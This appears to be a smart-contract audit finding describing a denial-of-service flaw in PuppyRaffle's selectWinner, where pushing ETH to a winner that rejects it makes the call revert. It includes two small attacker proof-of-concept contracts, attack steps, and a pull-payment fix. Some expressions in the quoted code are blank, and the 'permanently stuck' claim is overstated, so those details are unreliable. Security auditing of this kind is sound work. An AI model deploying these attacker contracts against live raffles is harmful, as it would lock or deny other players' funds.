Root + Impact
Description
The PuppyRaffle::selectWinner function forces ETH to be sent to the winner using require(success), which creates a permanent DoS vulnerability. If the winner is a contract that cannot or will not accept ETH (no receive()/fallback() function, or one that reverts), the entire raffle becomes permanently stuck and cannot be completed. All player funds remain locked in the contract indefinitely.
function selectWinner() external {
require(block.timestamp >= raffleStartTime + raffleDuration, "PuppyRaffle: Raffle not over");
require(players.length >= 4, "PuppyRaffle: Need at least 4 players");
uint256 winnerIndex = ;
address winner = players[winnerIndex];
uint256 totalAmountCollected = players.length * entranceFee;
uint256 prizePool = (totalAmountCollected * 80) / 100;
uint256 fee = (totalAmountCollected * 20) / 100;
totalFees = totalFees + uint64(fee);
uint256 tokenId = totalSupply();
uint256 rarity = ;
delete players;
raffleStartTime = block.timestamp;
previousWinner = winner;
@> (bool success,) = winner.call{value: prizePool}("");
@> require(success, "PuppyRaffle: Failed to send prize pool to winner");
_safeMint(winner, tokenId);
}
The Problem:
If the winner cannot receive ETH, the require(success) statement causes the entire transaction to revert. Since the winner has already been selected, the raffle cannot progress and becomes permanently stuck.
Risk
Likelihood: Medium - Requires winner to be a non-payable contract, but smart contract wallets and DAOs commonly enter raffles.
Impact: High - Permanent DoS preventing raffle completion, locking all player funds and fees indefinitely with no recovery mechanism.
Proof of Concept
pragma solidity ^0.7.6;
contract DoSWinner {
address public puppyRaffle;
constructor(address _puppyRaffle) {
puppyRaffle = _puppyRaffle;
}
function enter(uint256 entranceFee) external payable {
address[] memory players = new address[](1);
players[0] = address(this);
(bool success,) = puppyRaffle.call{value: entranceFee}(
abi.encodeWithSignature("enterRaffle(address[])", players)
);
require(success, "Enter failed");
}
}
Attack Steps:
-
Deploy DoSWinner contract
-
Call enter() with entrance fee (contract enters raffle)
-
Keep entering until DoSWinner is selected as winner (or wait for random selection)
-
When selectWinner() is called:
-
Winner is DoSWinner contract
-
winner.call{value: prizePool} fails (no receive function)
-
require(success) causes transaction to revert
-
Result: Raffle permanently stuck. Nobody can complete the raffle. All funds locked forever.
Alternative Attack - Conditional Rejection:
contract SelectiveRejecter {
uint256 public minimumPrize = 10 ether;
receive() external payable {
require(msg.value >= minimumPrize, "Prize too small!");
}
}
This attacker only accepts prizes above a threshold, causing DoS for smaller raffles.
Tools Used
Manual review
Recommended Mitigation
Use a pull payment pattern instead of forcing ETH transfers. Let winners withdraw their prize:
+ mapping(address => uint256) public claimablePrizes;
function selectWinner() external {
require(block.timestamp >= raffleStartTime + raffleDuration, "PuppyRaffle: Raffle not over");
require(players.length >= 4, "PuppyRaffle: Need at least 4 players");
uint256 winnerIndex = /* ... */;
address winner = players[winnerIndex];
uint256 totalAmountCollected = players.length * entranceFee;
uint256 prizePool = (totalAmountCollected * 80) / 100;
uint256 fee = (totalAmountCollected * 20) / 100;
totalFees = totalFees + uint64(fee);
uint256 tokenId = totalSupply();
uint256 rarity = /* ... */;
delete players;
raffleStartTime = block.timestamp;
previousWinner = winner;
- (bool success,) = winner.call{value: prizePool}("");
- require(success, "PuppyRaffle: Failed to send prize pool to winner");
+ // Store prize for winner to claim
+ claimablePrizes[winner] += prizePool;
_safeMint(winner, tokenId);
}
+ function claimPrize() external {
+ uint256 prize = claimablePrizes[msg.sender];
+ require(prize > 0, "No prize to claim");
+
+ claimablePrizes[msg.sender] = 0;
+ (bool success,) = msg.sender.call{value: prize}("");
+ require(success, "Transfer failed");
+ }
Why This Works:
-
selectWinner() completes successfully regardless of winner's ability to receive ETH
-
Winner can claim prize whenever they want via claimPrize()
-
If winner cannot receive ETH, they can update their contract or transfer claim rights
-
Raffle never gets stuck
-
Other players are not affected by one winner's inability to receive ETH
Alternative (less recommended): Remove the require(success) check, but this means winners might lose their prize if they can't receive ETH.